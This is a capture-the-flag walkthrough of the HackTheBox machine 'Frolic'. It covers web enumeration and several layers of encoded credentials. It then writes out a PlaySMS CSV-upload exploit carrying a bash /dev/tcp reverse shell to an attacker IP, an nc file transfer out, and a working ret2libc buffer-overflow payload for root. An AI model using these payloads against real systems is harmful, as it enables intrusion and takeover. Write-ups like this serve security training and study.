Frolic
15 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.10.111
- Release: 13 / 10 / 2018
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.10.111 -p 22,139,445,1880,9999
Nmap scan report for 10.10.10.111
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
| smb2-time:
| date: 2022-07-17T16:54:51
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2022-07-17T22:24:51+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 16.23 seconds
This machine has ports 22 (SSH), 139, 445 (SMB), 1880 and 9999 (HTTP) open.
Web enumeration
If we go to http://10.10.10.111:1880
we will see a Node-RED instance:
We can try using default credentials (NR_account:NodeRed#123
), but they don’t work.
In http://10.10.10.111:9999
we can see a default page for nginx:
Let’s apply fuzzing using ffuf
to enumerate more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/FUZZ
admin [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 78ms]
test [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 40ms]
dev [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 127ms]
backup [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 43ms]
loop [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 43ms]
[Status: 200, Size: 637, Words: 79, Lines: 29, Duration: 52ms]
If we go to /test
, we will see a phpinfo
:
In /backup
we have two files and a loop
directory:
$ curl 10.10.10.111:9999/backup/
password.txt
user.txt
loop/
$ curl 10.10.10.111:9999/backup/loop/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
$ curl 10.10.10.111:9999/backup/user.txt
user - admin
$ curl 10.10.10.111:9999/backup/password.txt
password - imnothuman
We are not allowed to enter in loop
, but maybe those credentials are needed later.
In /admin
we have a login form:
If we try random credentials, we will se an alert:
This is a sign that the authentication is probably handled by JavaScript, so let’s read the source code:
So the JavaScript file is /admin/js/login.js
. Let’s analyze it:
$ curl http://10.10.10.111:9999/admin/js/login.js
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
Alright, we have a password (superduperlooperpassword_lol
) and also the file where we will go if authentication is successful. So we can access directly:
$ curl 10.10.10.111:9999/admin/success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
What’s this? It looks like an esoteric language (something similar to Brainfuck). If we do a bit of research, we will discover that it is “Ook!”, so let’s decode it in www.dcode.fr:
As it says, let’s go to /asdiSIAJJ0QWE9JAS
:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
It looks like some data encoded in Base64. If we decode it, we will see magic bytes PK
, so it is going to be a ZIP archive:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d
PK É7M#[i index.phpUT |[|[ux
^DJsh)
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d | xxd
00000000: 504b 0304 1400 0900 0800 c389 374d 23fe PK..........7M#.
00000010: 5b14 b000 0000 6902 0000 0900 1c00 696e [.....i.......in
00000020: 6465 782e 7068 7055 5409 0003 857c a75b dex.phpUT....|.[
00000030: 857c a75b 7578 0b00 0104 0000 0000 0400 .|.[ux..........
00000040: 0000 005e 44e6 104a 9f73 b268 8a29 9a1b ...^D..J.s.h.)..
00000050: 9550 f06e 0ba9 bf53 73e4 024a 771a 11dc .P.n...Ss..Jw...
00000060: 8ee5 a034 e2f6 d98f 6bee 7ad0 128a 55c8 ...4....k.z...U.
00000070: 96ec 2b58 ba7f e050 c8e1 12e1 b687 a4ea ..+X...P........
00000080: d0bb e278 5f13 c04e 895b fd8d 8453 aaea ...x_..N.[...S..
00000090: 38f2 83f2 e20f 914a 3253 c72a 8303 44d0 8......J2S.*..D.
000000a0: 8d7d 9338 6454 0e51 026b de10 cad7 e3e4 .}.8dT.Q.k......
000000b0: fb6a 5f9f 8bf9 18e9 94c0 2778 7f63 90c2 .j_.......'x.c..
000000c0: 16dd 8f74 beb2 3735 51ac 0b9a 8a03 0e95 ...t..75Q.......
000000d0: 106b 032c 34b5 d962 29be 3446 b5e9 0609 .k.,4..b).4F....
000000e0: ffba 84e3 96ea e9ef c726 7132 6f88 57d4 .........&q2o.W.
000000f0: 9ce3 3950 4b07 0823 fe5b 14b0 0000 0069 ..9PK..#.[.....i
00000100: 0200 0050 4b01 021e 0314 0009 0008 00c3 ...PK...........
00000110: 8937 4d23 fe5b 14b0 0000 0069 0200 0009 .7M#.[.....i....
00000120: 0018 0000 0000 0001 0000 00a4 8100 0000 ................
00000130: 0069 6e64 6578 2e70 6870 5554 0500 0385 .index.phpUT....
00000140: 7ca7 5b75 780b 0001 0400 0000 0004 0000 |.[ux...........
00000150: 0000 504b 0506 0000 0000 0100 0100 4f00 ..PK..........O.
00000160: 0000 0301 0000 0000 ........
And indeed, it is:
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ -s | base64 -d > file.zip
$ file file.zip
file.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
Let’s see what’s inside and extract it:
$ unzip -l file.zip
Archive: file.zip
Length Date Time Name
--------- ---------- ----- ----
617 09-23-2018 13:44 index.php
--------- -------
617 1 file
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
Alright, it is protected with password. Let’s use fcrackzip
to test passwords from rockyou.txt
:
$ fcrackzip -uDp $WORDLISTS/rockyou.txt file.zip
PASSWORD FOUND!!!!: pw == password
$ unzip file.zip
Archive: file.zip
[file.zip] index.php password:
inflating: index.php
So we found the password and extracted index.php
. In this file we have data encoded in hexadecimal, let’s decode it:
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
Now it seems to be a string encoded in Base64:
$ cat index.php | xxd -r -p | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
And this is another esoteric langage: Brainfuck. We can go again to www.dcode.fr and decode it:
It shows another password: idkwhatispass
.
Continuing with web enumeration, we are not allowed to access /dev
:
$ curl 10.10.10.111:9999/dev/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
But let’s fuzz for more files and directories:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.111:9999/dev/FUZZ -e .html,.txt
test [Status: 200, Size: 5, Words: 1, Lines: 2, Duration: 43ms]
backup [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 76ms]
.html [Status: 403, Size: 178, Words: 5, Lines: 8, Duration: 45ms]
[Status: 403, Size: 178, Words: 5, Lines: 8, Duration: 45ms]
Ok, let’s try both routes:
$ curl 10.10.10.111:9999/dev/test
test
$ curl 10.10.10.111:9999/dev/backup/
/playsms
It shows /playsms
. Actually, if we try going to http://10.10.10.111:9999/playsms
, we will be redirected to a PlaySMS instance:
Here we can log in using credentials admin:idkwhatispass
:
Foothold on the machine
We can search for vulnerabilities an exploits for this technology:
$ searchsploit playsms
--------------------------------------------------------------------------------------- -----------------------
Exploit Title | Path
--------------------------------------------------------------------------------------- -----------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) | php/remote/48335.rb
PlaySms 0.7 - SQL Injection | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution | php/webapps/48199.txt
--------------------------------------------------------------------------------------- -----------------------
Shellcodes: No Results
There are several ones. Although we don’t know the exact version, we can try some of them and find out that 42044.txt
works:
$ head -47 42044.txt
# Exploit Title: PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
# Date: 21-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
1. Description
Code Execution using import.php
We know import.php accept file and just read content
not stored in server. But when we stored payload in our backdoor.csv
and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .
In My case i stored my vulnerable code in my backdoor.csv files's Name field .
But There is one problem in execution. Its only execute in built function and variable which is used in application.
That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .
Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name Mobile Email Group code Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?> 22
--------------------MY FILE CONTENT END HERE-------------------------------
For More Details : www.touhidshaikh.com/blog/
For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE
2. Proof of Concept
Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):
Go to :
http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
And Upload my malicious File.(backdoor.csv)
and change our User agent.
The idea is to enter PHP code inside a CSV file and upload it in “Send From File”:
So let’s craft the malicious CSV with a reverse shell command:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ vim file.csv
$ cat file.csv
<?php system('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'); ?>,2,3
When we upload it, we get a connection back:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:37598.
bash: cannot set terminal process group (1237): Inappropriate ioctl for device
bash: no job control in this shell
www-data@frolic:~/html/playsms$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@frolic:~/html/playsms$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@frolic:~/html/playsms$ export TERM=xterm
www-data@frolic:~/html/playsms$ export SHELL=bash
www-data@frolic:~/html/playsms$ stty rows 50 columns 158
System enumeration
If we enumerate for SUID binaries, we see a wierd one called /home/ayush/.binary/rop
:
www-data@frolic:~/html/playsms$ cd
www-data@frolic:~$ find / -perm -4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
www-data@frolic:~$ ls -l /home/ayush/.binary/rop
-rwsr-xr-x 1 root root 7480 Sep 25 2018 /home/ayush/.binary/rop
It is a SUID binary that belongs to root
. So we can execute this file as root
. Let’s see what we have:
www-data@frolic:~$ /home/ayush/.binary/rop
[*] Usage: program <message>
www-data@frolic:~$ /home/ayush/.binary/rop asdf
asdf
At this point we can test if it is vulnerable to Buffer Overflow entering a large amount of data:
www-data@frolic:~$ /home/ayush/.binary/rop $(python3 -c 'print("A" * 100)')
Segmentation fault (core dumped)
Nice, it’s vulnerable. Let’s transfer the binary to our attacker machine using nc
to analyze it and exploit it:
www-data@frolic:~$ which nc
/bin/nc
www-data@frolic:~$ md5sum /home/ayush/.binary/rop
001d6cf82093a0d716587169e019de7d /home/ayush/.binary/rop
www-data@frolic:~$ nc 10.10.17.44 4444 < /home/ayush/.binary/rop
$ nc -nlvp 4444 > rop
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:37600.
$ md5sum rop
001d6cf82093a0d716587169e019de7d rop
Great. If we use Ghidra to perform a reverse engineering process, we will have this main
function:
undefined4 main(int param_1, int param_2) {
undefined4 uVar1;
setuid(0);
if (param_1 < 2) {
puts("[*] Usage: program <message>");
uVar1 = 0xffffffff;
} else {
vuln(*(undefined4 *) (param_2 + 4));
uVar1 = 0;
}
return uVar1;
}
And this function calls vuln
:
void vuln(char *param_1) {
char local_34[48];
strcpy(local_34, param_1);
printf("[+] Message sent: ");
printf(local_34);
return;
}
Here we have two vulnerabilities. The Buffer Overflow exists because local_34
has 48 bytes reserved as buffer, but strcpy
is a vulnerable function, because it doesn’t check the available buffer and can copy data out of bounds, leading to Buffer Overflow which overwrites the return address.
The second vulnerability is Format String, because our input data is passed to printf
as the first parameter, so we can enter formats and leak values from the stack and modify data as well. A simple proof of concept:
www-data@frolic:~$ /home/ayush/.binary/rop %x.%x.
[+] Message sent: bfffff5f.bffffd60.
However, we will only exploit the Buffer Overflow vulnerability.
Buffer Overflow exploitation
Let’s start GDB to get the offset we need to overwrite the return address:
$ gdb -q rop
Reading symbols from rop...
(No debugging symbols found in rop)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Starting program: ./rop aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa yaaa
Program received signal SIGSEGV, Segmentation fault.
0x6161616e in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Alright, we need to enter 52 characters, and the following ones will overwrite values on the stack (for example, the return address, which is copied to $eip
register).
In order to exploit the binary, we need to check its protections using checksec
:
gef➤ checksec
[+] checksec for './rop'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
The most important one for this situation is NX, which is enabled, so the stack is not executable. Hence, we need to use a technique called Return Oriented Programming (ROP), as stated as well by the binary filename. Particularly, we will perform a ret2libc attack, which comes with controlling the program execution to execute system("/bin/sh")
inside Glibc.
Let’s see if ASLR is enabled in the machine:
www-data@frolic:~$ cat /proc/sys/kernel/randomize_va_space
0
It is not, which means that all addresses of shared libraries (such as Glibc) will be fixed.
Just to have the same environment, let’s turn off ASLR and get the addresses of system
and "/bin/sh"
:
gef➤ aslr off
[+] Disabling ASLR
gef➤ p system
$2 = {<text variable, no debug info>} 0xf7e08360 <system>
gef➤ grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib32/libc-2.31.so'(0xf7f38000-0xf7fac000), permission=r--
0xf7f52363 - 0xf7f5236a → "/bin/sh"
Alright, so the way to perform a ret2libc attack in 32-bit binaries is
<function-address> + <return-address> + <arg-1> + <arg-2> + ...
because all data passed to a function is stored on the stack. Hence, <function-address>
is 0xf7e08360
(as bytes in little-endian format), <return-address>
can be anything, and <arg-1>
is 0xf7f52363
(as bytes), which is the address of the string "/bin/sh"
.
Using struct.pack
to parse integers as bytes, we have this payload and we exploit the binary successfully (we get a shell):
$ ./rop $(python3 -c 'import os; from struct import pack; os.write(1, b"A" * 52 + pack("<I", 0xf7e08360) + b"A" * 4 + pack("<I", 0xf7f52363))')
$ ls
rop
Privilege escalation
In order to exploit the binary in the remote machine, we need to find the exact addresses for system
and "/bin/sh"
in the remote Glibc library. Fortunately, we have readelf
:
www-data@frolic:~$ which readelf
/usr/bin/readelf
www-data@frolic:~$ ldd /home/ayush/.binary/rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:~$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Notice that the values above are not addresses but offsets. We need to add the offset to the base address of Glibc (which is fixed at 0xb7e19000
since there is no ASLR):
$ python3 -q
>>> hex(0xb7e19000 + 0x3ada0)
'0xb7e53da0'
>>> hex(0xb7e19000 + 0x15ba0b)
'0xb7f74a0b'
Once we have the real addresses, we can exploit the binary using Python:
www-data@frolic:~$ which python3
/usr/bin/python3
www-data@frolic:~$ /home/ayush/.binary/rop $(python3 -c 'import os; from struct import pack; os.write(1, b"A" * 52 + pack("<I", 0xb7e53da0) + b"A" * 4 + pack("<I", 0xb7f74a0b))')
# cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
# cat /root/root.txt
85d3fdf03f969892538ba9a731826222